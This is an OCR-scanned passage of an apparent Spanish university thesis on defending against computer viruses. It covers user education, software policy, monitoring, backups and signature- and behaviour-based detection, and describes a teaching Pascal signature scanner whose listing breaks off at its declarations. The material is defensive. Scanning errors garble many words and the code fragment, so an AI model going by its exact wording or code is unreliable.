
público del software, asf corno el uso y mantenimiento del software en general. 
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• Uso de controles técnicos que ayuden a prevenir y detener ataques por 
software malicioso y usuarios no autorizados . 

• Control de la actividad del usuario y software para detectar vlolacionas de 
pólizas, procedimientos y controles . 

• Pólizas y procedimientos de contingencia para contener y recuperarse de 

ataques. 

Una gula general en cad11 uno de estos aspectos es explicada en las secciones 
siguientes. 

3.1.1 Educación del usuario. 

La educación es el mejor y más valioso método por el cual sistemas y 

organizaciones pueden obtener mayor protección de Incidentes de software 

malicioso y uso no autorizado de sistemas. En s~uaclones donde los controles 

técnicos no proporcionan una protecc16n completa (como en la mayoría de las 

computadoras) es finalmente la gente y su disposición quienes adhieren pólizas 

de seguridad que determinan la protección de los sistemas y organizaciones. Por 

usuarios adecuadamente informados sobre la naturaleza general de los virus y 

amenazas afines, una organización puede mejorar su habilidad para detectar, 

contener y racuperarse de incidentes potenciales. 

Los usuarios deben ser intruidos sobro lo siguiente: 

• Como opera un software malicioso, métodos por los cuales se Instala y se 

propaga, los aspectos vulnerables explotados por los virus y usuarios no 

autorizados. 

• Pólizas de seguridad general y procedimientos para su uso. 

• Pólizas para dar seguimiento a la revisión, almacenamiento y uso del software, 

especialmente software del dominio público y de uso compartido. 

• Como usar los controles técnicos, que tienen a su disposición para proteger a 

los sistemas. 

86 



• Como controlar sus sistemas y software para detectar señales de actividad 

anonnal, y qué hacer o a quién recurrir para mayor Información. 
• Procedimientos de contingencia para contener un ataque y recuperarso 

después de él. 

La educación del usuario, quizá cara en términos de tiempo y recursos 

requeridos, es finalmente una medida de costo-efectivo de protección contra 

Incidentes de software malicioso y uso no autorizado. Los usuarios mejor 

Informados del potencial destructivo de un virus y los métodos por los cuales este 

puede atacar a los sistemas, estarán mejor preparados para tomar medidas 
preventivas. El propósito de las pólizas de seguridad y procedimientos les 

resultará mas claro, así que los usuarios tienen mayor disposición para usarlos 

activamente. ~ a los usuarios sobro como detectar una actividad anormal 

del sistema y los pasos a seguir para contener y recuperarse de Incidentes 

potenciales, l!is orgpnlzaclones ganan dlnoro ajm cuando ocurran Incidente!!. 

3. 1.2 Administración del software. 

Uno de los métodos por el cual el software malicioso es copiado sobre los 

sistemas, ea por usuarios confiados. Cuandlo los usuarios descargan programas 

de fuentes tales como tableros de boletines, o directorios públicos en sistemas, o 

sirven en trabajos en Red, o en general, usan y comparten software que no ha 

sido obtenldlo de una fuente reputable, los usuarios estén en peligro da desplegar 

un software malicioso. Para pravenlr a los usuarios 'de infecciones, los 
administradores necesitan: 

•Asegurarse de que los usuarios comprendan la naturalew dal software 
malicioso, como se despliega generalmente y los controles técnicos para 

protegerse. 

• Desarrollar pólizas para la descarga y uso del dominio público del software 
compartido. 
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• Crear algunos mecanismos para validalizar tal software, para permltlr a los 

usuarios copiarlos y usarlos. 

• Minimizar el Intercambio de software ejecutable dentro do una organización 

tanto como sea posible. 

• No crear depósitos de software en servidores !.AN o en directorios empleados 

por sistemas multiusuarios a menos qua existan controles técnicos para 

restringir a los usuarios el cargar y descargar el software fibremcnte. 

El papel de la educación es importante, dado que la mayorla de los usuarios no 

comprenden todavía los riesgos por los cuales se les pide seguir necesariamente 

pólizas restrictivas para copiar y compartir software de manera indiscrlmi~ada. 

Donde los controles técnicos no pueden prevenir el hecho de que se cargue un 

nuevo software sobre un sistema, los usuarios son primordialmente importantes 

sobre ef éxito o fracaso del programa de prevención. 

Una póliza que prohibe cualquier copiado o uso de soítware de domini<> público 

puede ser demasiado restrictiva para algunos programas de dominio público que 

han probado ser útiles. Una póliza poco restrictiva permitirá algunas copias, sin 

embargo se requerirá permiso del administrador apropiado. Un sístema especial 

usado en este caso, prevendría el6ctuar la copia y después probar el software. 

Este tipo de sistema llamado sistema aislado serla configurado tal que no hubiera 

riesgo de desplegar un programa que contenga algún programa malicioso a otras 

áreas de una organización. El sistema no podría ser usado pcr otros usuarios, no 

se conectarla a los trabajos en Red y no peligraría ningún dato valioso. Un sistema 

aislado también serla usado para probar internamente el software desarrollado y 

actualizarlo por vía del vendedor de software. 

Otras pólilns administrativas para vendedores serian desarrolladas. Estas pólizas 

controlarían cómo y cuándo es comprado ef software y restringirían dónde es 

Instalado y cómo es usado. Se sugieren las siguientes pólizas y proceaimientos: 

• Compra de software sólo de fuentes reputables. 

• Mantenimiento del software apropiadamente y actualizarlo si es necesaria. 

• No usar software "pirata", ya que puede haber sido modificado. 

• Mantener los discos originales de Instalación disponible fácilmente para fines 

de contingencia. 



•Asegurarse de que los vendedores puedan •ser fácilmente· contactados si 

ocurren problemas. . _ .·•·· _ . • . 
• Guardar los discos originales o cintas del vendedor en. uri lugar seguro. 

3.1.3 Controloa T6cnlcoa. 

Los controles técnlcoo son los mecanismos más finos usados para proteger la 

seguridad e Integridad de los sistemas. asl como a los datas asociados. El uso de 

controlas técnicos ayuda a prevenir apariciones de virus y amenazas afines, 

detectándolas o haciéndoles más dif{cil obtener acceso a los datos y sistemas. 
Ejemplo de controles técnicos incluyen mecanismos de autorización de usuarias 

tales como contraseñas, mecanismos que provean niveles selectivos de acceso a 

archivos y directorias (salo lectura, no acceso, acceso a ciertos usuarios, etc.), y 

mecanismos de protección de escritura en cintas y diskettes. 

Los dHerentes tipos de controles técnicos y el grado por el cual pueden proveer 

protacd6n y acciones disuasivas, varia de sistama a sl::;tcma. Sin embar¡¡o, es 

importante destacar los siguientes puntos generales: 

• Los controles técnicos son usados como disposición para permitir el acceso a 

los usuarios autorizados. 

• En el ambiente multlusuarlo, los controles técnicas son usados para limitar los 

privilegios de los usuarios al mfnimo nivel práctico; trabajando 

automáticamente y sin necesitar ser Inicializados por los usuarias. 

• Usuarios y administradores de sistemas deben ser educados sobre cómo y 
cuándo usar los controles técnicos. 

•Donde los controles técnicos son débiles o inexistentes (como en las 

computadoras personales PC), deben ser suplementados con controles 

fisicos alternativos o mecanismos de control adherido (add-on). 

Los administradores necesitan determinar cuáles controles técnicos están 

disponibles en sus sistemas y después, el grado al cual serian usadas y si los 

controles adicionales add-on son necesarios. Una forma de responder a estas 
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preguntas es categorizar primero las diferentes cJases de datos procesados por 
un sistema o sistemas, y después poner en fila las categorlas según el crtterio de 
sensibilidad a la organización y vulnerabilidad del sistema al ataque. Las filas 

ayudarían entonces a determinar el grado al cual los controles serian aplicados y 

si los controles adicionales son necesarios. 

Idealmente estos sistemas estructurados con controles más efectivos son 

usados para procesar los datos más sensitivod y viceversa. Por ejemplo, una 

computadora personal cuyos procesos sensitivos emplea., in!onmación de t'po 

confidencial, requerirá mecanismos de autorización da acceso del usuario, 

mientras que una computadora personal usada para un proceso general de 
palabras (solamente como "máquina da escribí~'). puede no nocesitar controles 

adicionales. 

Es Importante notar que los controles técnicos generalmente no proporcionan 

una protección completa contra virus y amenazas afines. Tales controles pueden 

ser superados por usuarios que tienen conocimiento de los '~ropiezos" ocultos y 

debilidades, además pueden ser vencidos a través del uso de programas virus. 

Una debilidad inherente en los controles técnicos es que mientras detiene a 

usuarios y software de objetos a los cuales no tienen acceso, pueden ser 
totalmente lnefsctivo3 contra ~toques cuyos objetos da blanco son accesibles. Por 

ejemplo, los controles técnicos no pueden prevenir el que un usuario autorizado 

destruya archivos a los cuales el usuario tiene acceso autorizado. Más importante, 

cuando los controles técnicos no son usados apropiadamente, puede Incrementar 

el grado de vulnerabilidad del sistema, por ejemplo, que los usuarios no se 

esmeren en su parte del programa por confiar demasiado en tales controles. 

Generalmente se debe recordar que la total efectividad de los controles técnicos 

no proporciona el 100% de protección. 

3.1.4 Control General (Monltoreo). 

Un aspecto Importante de los virus y amenazas afines es que pueden causar 

potencialmente un daño extenso dentro de un muy breve lapso de tiempo, tal 

como minutos o segundos. A través de un control apropiado de software, la 

actividad del sistema y la actividad del usuario, los administradores puedan 
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Incrementar sus oportunidades para detectar tempranamente el software 

malicioso y actividad no autorizada. Una vez que la presencia del virus es notada o 
sospechada, los administradores pueden usar procedimientos de contingencia 

para contener la actividad y reponerse de cualquier daría que haya sido causado. 

Un beneficio adicional del control general es que en cualquier momento, puede 

ayudar para determinar el ni\lel necesario o grado de seguridad indicado, siompre 

que tas pólizas de seguridad, procedimientos y controles están trabajando como 

se planeó. 

El mon~oroo es una combinación de la supervisión y de la actividad 
administrativa del sistema. Su efectividad depende de la cooperación entre 

administradores y usuarios. Los siguientes puntos son necesarios para un control 

efectivo: 

• Educación dol usuario · los usuarios deben conocer especlficamente su 

ambiente computacional, lo que constituye una actividad normal y anormal del 

sistema y a quienes contactar para mayor información; esto es especialmente 

importante para usuarios de computadoras personales, las cuales 

generalmente carecen de métodos automatizados para control. 

• Instrumentos de control automatizado de sistema - Generalmente en 
sistemas multiusuarios, para registros automatizados o calificación d~ 

usuarios y acceso al software a cuentas, archivos y otros objetos del sistema, 

se puede gravar ciertos tipos de actividad tales como accesos "ilegales". 

• Software antlvlrnl - Generalmente en las computadoras personales esos 

instrumentos alertan al usuario de ciertos tipos de acceso al sistema que son 

indicativos '1lpicos" de software malicioso. El software antiviral se estudiará 

con mayor detalle en la sección 3.5. 

• Programas de barrido de sistema programas para checar 

automáticamente archivos en cuanto a s1 se modificaron parámetros tales 
como: tamano, fecha, atributos o contenido. 

• Netwaro (Instrumentos de control de trabajo en Red) - como con los 
instrumentos de control de sistema, para grabar acceso al Netware o intentos 

de entrar. 
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Las estadísticas generadas por la actividad de control son usadas como 

suministro para revisiones periódicas de programas de seguridad. Las revisiones 
evaluarían la efectividad de la administr~ción general del sistema y pólizas de 

seguridad asociadas, procedimientos y controles. Las estadísticas indicarán la 

necesidad para cambios y ayudarán a afinar ol programa, así que la seguridad sea 

distribuida a donde soa más nacesaria. Las revisiones también incorporarían las 

sugerencias de los usuarios, procurando que sus críticas al programa no sean 

muy restringidas o autocensuradas. 

3.1.5 Planteamlento de Contingencias. 

El propósito del planteamiento de contingencia con referencia a virus y 
amenazas afines es ser capaz de contener y recuperarse completamente de 

ataques. En muchas formas, la administración efectiva de sistemas que incluye la 

educación del usuario, uso de controles técnicos, administración del software y 
control de actividades, es una forma de planteamiento de contingencia, a causa 

de que un sistema organizado es más apto para aguantar la ruptura que podrla 

resultar de un ataque de virus. En adición a las electivas actividades de 

administración de los sistemas, los administradores necesitan considerar otros 

procedimientos de contingencia que específicamente toman en cuenta la 

naturaleza de los virus y amenazas afinos. 

Posiblemente, la actividad más importante del planeamiento de contingencias, 

implica el uso de respaldos de la información relevante. La habilidad para 

recobrarse de un ataque viral depende aparte, de un mantenimiento de respaldos 

frecuentes de los sistemas. Debe verificarse que se cumpla con cada periodo de 

respaldo para asegurar que la media de respaldos haya sido cumplida. La media 

de respaldos serla corrompida fácilmente a causa de defectos, a causa de que el 

procedimiento de respaldo era incorrecto o tal vez, a causa de que el sistema que 

efectúa los respaldos en si mismo ha sido atacado y modificado para corromper 

los respaldos en el momento de efectuarlos. 

Los procedimientos de contingencia para restauración de respaldos después de 

un ataque viral son igualmente Importantes. Los respaldos pueden contener 

copias de virus que ha estado oculto en el sistema, por lo que al restaurar los 
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respaldos también se restaurarla el virus. Restaurar el software malicioso al 

sistema que ha sido atacado podrfa causar una repetición del problema. Para 
evitar esta posibilidad, los paquete~ deberán ser restaurado sólo de su medio 
original; las cintas o diskettes del proveedor. En algunos casos, esto puede Incluir 
una reconfiguración del software. A causa de que los datos no son directamente 

ejecutables puedo ser restaurado de respaldos de rutina. Sin embargo los datos 

que han sido dal'lados pueden necesttar ser restaurados manu:!.!mente o do 

respaldos más actualizados. Los archivos de comando tales como los 

procedimientos batch y archivos ejecutables. los sistemas o el boot program serán 

inspeccionados para asegurar que no han sido dañados o modificados. Así, los 

administradores necesitarán retener respaldos de la configuración del sistemas y 
de la Información contenida en el CMOS. sector de carga, Fat do los discos y el 
directorio rafz y buscar en ellos cuando restauren datos dañados y archivos 

ejecutables. 
Otros procedimientos do contingencia para contener ataques virales necesttan 

ser considerados. Se sugiere los siguientes: 

• Asegurar que el software original de los paquetes y sistemas son guardados 

con la configuración del sistema incluyendo la ubicación del sistema, los 

programas, el trabajo total dül si~tema y conexiones de modem y el nombre 
del administrador o responsable individual del sistema. 

• Crear un grupo de usuarios hábiles para enfrentarse a los incidentes de virus 

y asegurarse que los usuarios puedan contactar rápidamente a este grupo si 

sospechan señas de actividad viral. 

• Mantener una lista de actividades de seguridad en cada lugar con números de 

teléfono apropiados de administradores para contaciarlos cuando ocurran 

problemas. 

• Aislar los problemas críticos de trabajos totales y otras fuentes de infección. 

• Colocar fuera las conexiones de trabajos totales en sistemas con las mejores 

protecciones, usar entradas centrales para facilitar rápidas desconexiones. 
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3.2. Detección de virus. 

La detección de los virus en los sistemas computacionales es una necesidad 

Inmersa en todo programa general de protección qua asegure la Integridad de los 

mismos. Aunque los sistemas de provención supervisan las actividades 

sospechosas del soltware mientras que los programas estén en actividad, los 

sistemas de detección comprueban el código del programa antes que se ejecuta. 

Los sistemas de detección complementan a los de supervisión, empleando 

sofisticados algoritmos de examen para aislar al computador. Una vez detectado 

un virus, los usuarios pueden decidir si los programas son eliminados, evaluados 

nuevamente o intentar "repararlos". 

Cuando se comparan los sistemas de prevención y detección, los últimos son 

más cómodos para ol usuario. Los sistemas de detección se cargan, se ejecutan y 

existen de la misma manera que otros programas normales. 

Los virus Informáticos se han definido como programas que se reproducen y 

alteran el comportamiento normal de un sistema, sin conocimiento ni 

consentimiento de los usuarios. 

Dada su propiedad de autorreproducción, es posible la detección del código 

viral en los programas infectados, y debido a su propiedad de alterar el 

comportamiento, es posibie detectarles por su actividad viral. 

Por lo anterior, los sistemas de detección pueden ser de dos tipos: detectores de 

código viral y detectores de actividad viral. Los primeros se especializan en aislar 

las infecciones vlricas inmediatamente después de que hayan ocurrido, mientras 
que los segundos exploran los programas buscando mensajes escondidos y 

órdenes destructivas contenientes en sus códigos, además de identificar 

comportamiento anormal de los sistemas. Ambas estrategias tienen sus ventajas y 

desventajas; ningún esquema es de éxito seguro. 

Además de estas dos estrategias, se encuentra otra que, sin ser muy analltlca, es 

en ocasiones muy eficaz: la npreclnclón del comportamiento de los sistemas por 

los usuarios. La mayoría de los usuarios tienen delimitado el comportamiento de 

sus equipos y pueden apreciar cuando están trabajando normal o cuando lo 

hacen de manera distinta. 
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3.2.1 Detectores de código viral. 

Debido a la propia naturaleza de la actividad vírica, por el proceso de 

autorreproducción, se encuentra una parte de código muy específico en cada 
archivo o disco infectado, haciendo posible la detección de infecciones 

mediante el reconocimiento del código reproducido. 
Los programas de detección de virus que emplean este método se clasifican en 

dos grupos: detectores especlflcos de programa (exploradores de virus) y 

detectores genéricos. 

Detectores especlflcoa de programas. 

Los detectores especfficos de programas buscan un número limttado 

(actualmente hasta 1700) de virus conocidos. Examinando los archivos en 

busca de "firmas" de virus pera los que han sido programados que detocten. Al 

reconocimiento de las "firmas" de los virus, los exploradores de virus producen 

mensajes de alarma que notifican del descubrimiento a los usuarios. 

Por otro lado estos sistemas de detección presentan las siguientes desventajas: 

• Los detectores específicos de programas pueden rnconoctir solamente a 

un número y a un conjunto fijo de virus conocidos. Esto Implica que virus 

nuevos o versiones modificadas puedan superar la detección. 

• Estos sistemas requieren actualizaciones frecuentes, a veces costosas, 

cuando se descubren virus nuevos o cuando se actualizan diseños antiguos. 

• Estos sistemas se muestran impotentes ante los virus de código cifrado, 

que son diseñados especfficamente para la detección por reconocimiento do 

firma. 

Detectores genérfcos. 

Los detectores genéricos en lugar de intentar identificar todos los virus 

Informáticos conocidos, en vez de intentar vigilar todas las interrupciones del 

DOS y las disponibles brechas de software, estos detectores trabajan sobre la 

base de que los virus tienen que modificar los códigos ejecutables para 
'sobrevivir". 
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Los archivos ejecutables nunca deben cambiar de tamaño ni de contenido, a 

menos que los usuarios los actualicen lfsicamonte. Los detectores genéricos 

operan en base a que los cambios no autorizados que ocurran en los archivos 

ejecutables, de algún modo estáticos, son indicativos de actividad vírica. 

Los detectores genéricos identifican todo cambio, por pequeño o insignificante 

que sea, que ocurra en archivos ejecutables estáticos. 

las desventajas presentadas por estos sistemas son: son complicados de usar 

y requieren de mucho tiempo para su ejecución, necesitan almacenar los 

tamaños de los archivos ejGCUtables en el sistema y campararlos continuamente 

para verificar cambios en su longitud y Uegan a causar falsas alarmas. 

3.2.2 Detectores de actividad viral. 

Como se menciona anteriormente, la alteración del comportamiento de un 

sistema es consecuencia de una Infección viral. Las alteraciones más comunes 

que se pueden encontrar debido a una infección viral son: 

• Programas residentes en memoria. Un virus para establecerse residente en 

memoria, emplea la intorrupc~ón 27h. Esto puedo ser aprovechado por los 

sistemas de detección, controlando el llamado de esta interrupción. Por otro 

lado, el ll~mado a ésta no es exclusivo de los virus, sino además de muchas 

aplicaciones. Esto implica la necesidad de tener conocimiento sobre cuales 

rutinas deben ser residentes (que son parte del sistema operativo o paquetes 

de aplicación), para controlar que ningún programa, fuera de los identificados, 

pueda aprovechar los recursos do la interrupción mencionada. 

Los programas autorizados que pueden emplear a la interrupción se registran 

en una tabla especffica y cada vez que un programa pida utilizar la 

Interrupción 27h, se verifica que el programa esté en esta tabla De no estario, 

se despliega en pantalla un mensaje indicando al usuario sobre una posible 

actividad viral. 

Los Inconvenientes de este tipo de detección son: se alentan los procesos, se 

requiere de una tabla de validación, la cual ocupa espacio, necesidad de 

actualizaciones a esta tabla. 
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• Memoria disponible (RAM!. Estos sistemas son un complemento para los 
descritos en el punto anterior. Efectúan cálculos sobre la cantidad de memoria 

disponible en RAM, considerando a los programas residentes autorizados y 

las aplicaciones en ejecución. Cuando descubren una diferencia en los 

cálculos, notifican al usuario sobre cierta cantidad de memoria "perdida", la 

cual puede ser causa de un da~o físico en la memoria o a que un virus 

Informático se alberga en ese espacio. 

Estos sistemas son muy complejos y exigen a los usuarios una ope,·ación 

cuidadosa de los mismos, actualización constante do las tablas de programas 
residentes autorizados, conocimiento preciso del manejo de la memoria por el 

sistema operativo y demás aplicaciones. 

• vectore' de lnterruoclón. La mayorla de los virus informáticos efectúan una 

intercepción de las interrupciones, modificando las direcciones que 

almacenan. En este caso, los sistemas de detección conservan una éopla de 

la tabla de asignación de interrupciones, la cual se compara constantemente 

para verificar que no exista ningún cambio en ella. Al encontrar una diferencia 

en lai diNcciones da los vectoroo, se da aviso al usuario para que tome las 

medidas pertinentes, considerando un posible ataque viral. 

Estos sistemas no son muy confiables, su operación es compleja y requieren 

que los usuarios que los apliquen tengan conocimientos precisos sobre las 

Interrupciones del sistema. Otra desventaja que presentan es que generan 

falsas alarmas constantemente. 

• Rutinas destructivas. Se exploran conjuntos de archivos individuales o 

múltiples en busca de rutinas destructivas incluidas en el código ejecutable de 

los archivos examinados (por ejemplo órdenes de borrado de archivos o 

llamadas a programas de formateo de discos). Algunos de estos detectores 

extraen mensajes con texto almacenados en el programa, que son 
indicaciones directas de actividad vírica. Presentan los inconvenientes de no 

distinguir entre un programa infectado y uno que emplea rutinas destructivas 

de manera autorizada. 
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3.2.3. Detección por apreciación. 

Aunque existen técnicas avanzadas de detección, en ocasiones las 

apreciaciones de los usuarios sobre el comportamiento de sus equipos de 

cómputo es una forma práctica de detección viral. Los usuarios llegan a conocer 

tan bien a su computador que saben cuánto tardan las unidades de disco en 

almacenar ciertos archivos, saben cuáles operaciones se efectúan •más despacio" 

y cuáles se realizan "rápidamente". Los usuarios que emplean los equipos 

constantemente conocen cuando sus PC's están funcionando bien. As/ mismo, los 

usuarios "sienten" cuando sus computadores no están trabajando normalmente. 

Es posible Identificar actividad viral en los computadoras sin necesidad de 

software sofisticado de protección, siempre y cuando los usuarios sepan 

reconocer oportunamente los síntomas de "enfermedad" en sus computadores. 

Los síntomas típicos que presentan los computadores infectados se listan a 

continuación: 

Las operaciones informáticas parecen lentas. 

Los programas tardan más de lo normal en cargarse. 

Los programas acceden a múltiples unidades de disco, aunque no se eslé 

trabajando en ellos. 

• Los programas accesan a los discos en tiempos inusuales o con mayor 
frecuencia. 

• El espacio disponible en el disco disminuye "sin razón". 

• Se sañalan sectores dañados en los discos y el número de ellos aumenta 

constantemente. 

• La cantidad de RAM disponible disminuye en forma repentina o constante. (la 

RAM puede verificarse con el programa CHKDSK del Sistema Operativo). 

• Programas que normalmente funcionan bien se comportan de manera 

extraña o 11caen11 sin motivo. 
• Los programas encuentran errores de manera inusual. 

• Los programas presentan mensajes no documentados. 

Desaparición de archivos. 

• Los archivos son sustituidos por objetos de origen desconocido o por datos 

falsos. 
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• Los campos en los registros de archivo (nombre, extensión, tamaña, 

atributo), son modificadas sin Intervención a conocimiento del usuaria. 

• Aparecen archivos de datas a directorios de origen desconocida. 

3.3. Un programa en Pascal para detectar virus. 

Este programa funciona baja las mismos principias de identificación de virus que 

emplean todos los programas antivirus. Tomando en cuenta el hecha de que la 

mayaría de las virus están en esencia destinados a autarrepraducirse, 

consecuentemente los programas contaminados contienen una parte muy 

especifica, que se vuelve a encontrar por el mismo fenómeno de reproducción. 
Esta secuencia de código es usualmente llamada la 'firma• del virus. Este 

programa reconoce 37 "firmas" de los virus mas difundidos, las cÚales se 

encuentran almacenadas en un archivo de datos (.DAT), la que perm~e al usuario 

agcegar n~as "firmas" a medida de que se obtenga la información pertinente. 

ES1<1 programa na es correctiva, sólo previene el emplea de algún programa 

infectado (los programas antivirus existentes en el mercado presentan funciones 

tanto de detección y corrección, además de tener dispositivos prácticos de alarma 

para prevención). 

Este programa se presenta básicamente para fines didácticos. En él se puede 
apreciar la manera par la que los programas antivirus reconocen si un programa 

esta infectado por un virus conocido y coma, además, señalan cual virus. 

El funcionamiento y utilización del programa es muy simple y su adaptación a un 

lenguaje distinto de PASCAL se puede lograr sin dificultad.' Una vez lanzada el 

programa comienza par leer el archiva ANTl.DAT que contiene las "firmas" de los 

virus que es capaz de detectar. Después el programa presenta un menú cuya 

primera opción es para ejecutar las rutinas de detección, que al activarse, se 

busca a todos las archivas can extensión .COM en el directorio especificada por el 

usuaria, lee los archivos correspondientes buscando la "firma" de un virus. SI uno 
de ellos resulta detectado, un mensaje en la pantalla Indica que se encuentra 

contaminado, y el nombre del programa incriminado se escribe en el archiva 

ASCli(VIRUS.DAT). La lectura de ese programa es abandonada inmediatamente y 
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pasa al siguiente. En caso de no encontrar la fimla el chequeo continúa hasta 

encontrar el fin del archivo. Una vez examinados todos los archivos .COM se 
procede a 9XM1lnar todos los archivos .EXE. los que se checan de la misma 

manara. 
Las otras opciones del menú son para listar las firmas de los virus conocidos o 

agragar LW1B nueva firma 

3.3.1 Proc:edlmlentos Y Funciones 

B programa ubTiza 15 procedimiootos o procesos y una función. El propósito de 

cada uno de los procedimientos y de la función que se emplean en el programa se 

expicB a contlnuaci6n en el orden en que aparecen en el listado del programa. 

1. B proceso "FIN" envla simplemente un mensaje de aviso, en caso de que el 

archivo ANTI.DAT {que contiene las "firmas• de los virus plenamente 

Identificados), no se encuentro en el mismo directorio que el programa, y 

ablnlona la ejecuoión del p<ograma. 

2. El proceso "ALERTA" envía un mensaje en pantalla cuando descubre la 

secuencia de cocfáicación ospecffica de un virus: el directoño o biblioteca de 

los virus es llamado y el nombre del virus detectado es desplegado en la 

pantalla. 

3. El proceso "ASClr, que utiliza una función especifica "L", tiene simplemente 

como papel convertir los códigos leídos de los archivos en formato ASCII a 

un formato en numeración decimal. Le función L transforma. para oste efecto, 

las letras A,B,C,D,E y F, encontradas en los formatos ASCII, en los números 

A=10; 6=11; C=12; 0=13; E=14; F=15. 

4. B procedimiento "CONTAMINADOS" tiene por objeto presentar la lista con 

los nombres de los archivos que se hayan detectado Infectados, 

acompaf¡ados por los nombres de los virus que los atacó, en grupos de 20. 

La lista incluye el análisis del sector de carga del disco verificado. 
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5. El procedimiento "PRESENTACION" es el primero en ser llamado por el 

programa principal, y es el encargado de desplegar la pantalla de 

presentación con el nombre del programa, el del autor y el total de virus que 

reconoce el programa. 

6. El procedimiento "CARGA_ VIRUS" es el segundo en ser llamado por el 

programa principal. Este carga en la variable de memoria VIRUS[N], que es 

un arreglo de registros, los datos de todos los virus registrados en el archivo 

ANTl.DAT, tales como su nombre. firma, longitud y tipo de archivo al que 
atacan. El número de virus cargados en memoria se guarda en la variable 

NBVIR. 

7. El procedimiento "ESUB" extrae todos los subdirectorios que pertenezcan al 

directorio que se verificará. El directorio en donde se efectuará el proceso de 

detección es especificado por el usuario en el proceso "RASTREA", el cual 

llama fa ejecución de este procedimiento. 

B. Procedimiento "LEXE" (LEE .EXE). Este se encarga de inicializar la btlsqueda 

de fas archivos con extensión .EXE. una vez que se haya terminado de 
examinar todos los archivos .COM. 

9. El procedimiento "LEE_ SECTOR" emplea un llamado a la interrupción 13h 

para cargar el sector coro (sector de carga) del disco examinado en la 

variable de memoria SECTORO, para después verificar fa existencia de virus 

en él, por medio del procedimiento "SECTOR_ CERO''. 

10. Procedimiento "SECTOR_CERO" empieza llamando la ejecución del 

procedimiento anterior ("LEE_SECTOR"), para leer el sector de carga del 

disco examinado en la variable llamada SECTORO. Continúa checando la 

lista de virus contra el código contenido en la variable ,SECTORO y en caso 

de reconocerse una firma identificada llama la ejecución del procedimiento 

"ALERTA" para informar de este descubrimiento. 

11. El procedimiento "EXAMINA" es el encargado de buscar las firmas de los 

virus en los archivos ejecutables. El proceso es buscar el primer caracter de 

la firma del virus dentro de cada archivo, si lo encuentra, verifica el siguiente 

caracter del archivo con el segundo caracter de la firma, y así sucesivamente 

hasta terminar con todos los caracteres de fa firma del virus. En caso de 

encontrar una cadena de caracteres idéntica en el archivo a la firma del virus, 
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este se considera infectado. Al encontrar un archivo infectado, este 
procedimiento llama la ejecución de otro llamado "ALERTA' para indicar al 
usuario la detección identificada y escribe el nombre del programa y el virus 
Involucrado en el archivo VIRUS.DAT, en formato ASCII, incrementándose 

además el contador de archivos contaminados. La revisión del archivo se 
efectúa para todas las firmas declaradas para el tipo de archivo respectivo y 

una vez verificadas, si no se encontró ninguna, se continúa con el siguiente 
archivo hasta terminar con todos los del directorio especificado por el 
usuario. 

12. El procedimiento "ANALIZA" se encarga de leer un archivo para ser 
examinado, presentando además el monitoreo de la búsqueda en la pantalla 
del computador. El procedimiento lee el archivo a examinar asignándolo a la 

variable FIC, despliega el nombre del archivo que se esta examinando 
(ARCHINFO.NAME), el tamaño del archivo en bytes (ARCHINFO.SIZE), el 
número de archivos verificados (FIC _VIS) y llama al procedimiento 

"EXAMINA" para que se efectúe su verificación. Cuando concluye la 
verificación del archivo, este procedimiento lee el siguiente archivo 
ejecutable. Esto se efectúa hasta que termina con todos los programas del 
directorio especificado, incluyendo sus subdirectorios. 

13. El proceso "RASTREA" es el módulo que administra el proceso de rastreo. 
Primero inicializa la pantalla de presentación a través dGI procedimiento 

"PRESENTACION", después de lo cual solicita al usuario que introduzca el 

disco y directorio que será examinado. Seguidamente de esto, se llama la 

ejecución del procedimiento "ESUB" para extraer todos los subdirectorios 
que contiene el directorio en examen. La verificación comienza por el sector 
de carga del disco mediante la ejecución del proceso "SECTOR_ CERO", 
después de lo cual se comienza el análisis de los archivos del directorio por 
el procedimiento "ANALIZA". Este módulo es el que llama al procesa 
"CONTAMINADOS" para listar a los archivos infectados que se hayan 
descubierto, de na existir ninguno, el programa regresa el control al 

programa principal. 
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14. El procedimiento "LISTADO" es ejecutado al seleccionar la segunda opción 

del menú principal. Este proceso solamente se encarga de presentar en la 

pantalla la lista de los virus registrados en el archivo ANTl.DAT, desplegando 

en grupos de cinco registros los datos de nombre de Jos virus y sus firma. 

15. El procedimiento "CAPTURA" se encarga de registrar nuevas definiciones 

para agregarse al archivo ANTl.DAT. Este módulo se ejecuta al seleccionar ta 

tercera opción del menú principal y es el que permite actualizar al programa 

en el reconocimiento de nuevos virus o modificaciones a los ya uxlstentes. 

16. "PROGRAMA PRINCIPAL" es el encargado de coordinar las acciones que 

requiera el usuario a través de un menú. Al comienzo del mismo, se llama la 

ejecución de los procedimientos "PRESENTACION", para inicializar la pantalla 

de presentación, y "CARGA_ VIRUS", para cargar en las variables de memoria 

pertinentes, todos tos nombres de los virus y sus definiciones que estén 

registrados en el archivo ANTl.DAT. Por último establece un cilco en el cual 

se presenta un menú para operar al programa. 

El programa emplea además una librarla personal del autor, llamada "U" que 

contiene las rutinas: 

• CUADRO(X1,Y1 ,X2,Y2,T). Presenta un recuadro en la pantalla con 

coordenadas de la esquina superior izquierda en (X1 ,Y1) y de la esquina 

inferior derecha en (X2,Y2) y el tipo de recuadro en T. siendo 1 para un 

recuadro de linea sencilla y 2 para un recuadro de doble línea. 

MENU(X,Y,N,L, T,OPCION,C). Efectúa el manejo del menú vertical que 

presenta et programa. La primera opción se despliega en las coordenadas 

(X.Y), N es el número de opciones que serén desplegadas, L Indica cuéntas 

!(neas entre opción y opción. T el tipo de menú siendo T = 1 para un menú 

vertical y T =2 para un menú horizontal. Las descripciones de las opciones se 

dan en el arreglo OPCION y la variable C es en donde se Indica que opción 

eligió el usuario, siendo C= 1 cuando se eligió la primera opción, C=2 para ta 

segunda opción y asr sucesivamente. · 
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Estas rutinas solamente sirven para hacer más vistoso al programa y su accl6n 

no es relevante para el programa. Ambas rutinas pueden sustituirse por rutinas 

que efectúen una acción análoga a la descrita. 

3.3.2 U8tado del programa. 

El listado completo del programa se presenta en a continuación, en la figura 3-1. 

UNIVERSIDAD NACIONAL AUTONOMA DE MEXlCO 
E.N.E.P. ARAGON 

PROGRAMA PARA LA DETECCION DE VIRUS INFORMATICOS 

PROGRAU DETECTOR; 
USEG 005,CRT,U; 

{ OECLARACION DE VARIABLES} 

"JYPE 
FICHERO • RECORD 

NOMBRE :STR1NG{20}; 
FIRMA :ARAAV (1 .. 00] OfCW.R; 
FIAMAHEX :SlTUNG; 
LONOrTUO :BYTE; 
EXT :Sl"RINO[J]: 

END; 

VAR 
°"TA 
NOMS 
VlRUS 
NBVIR 
X 
ARCHINFO 

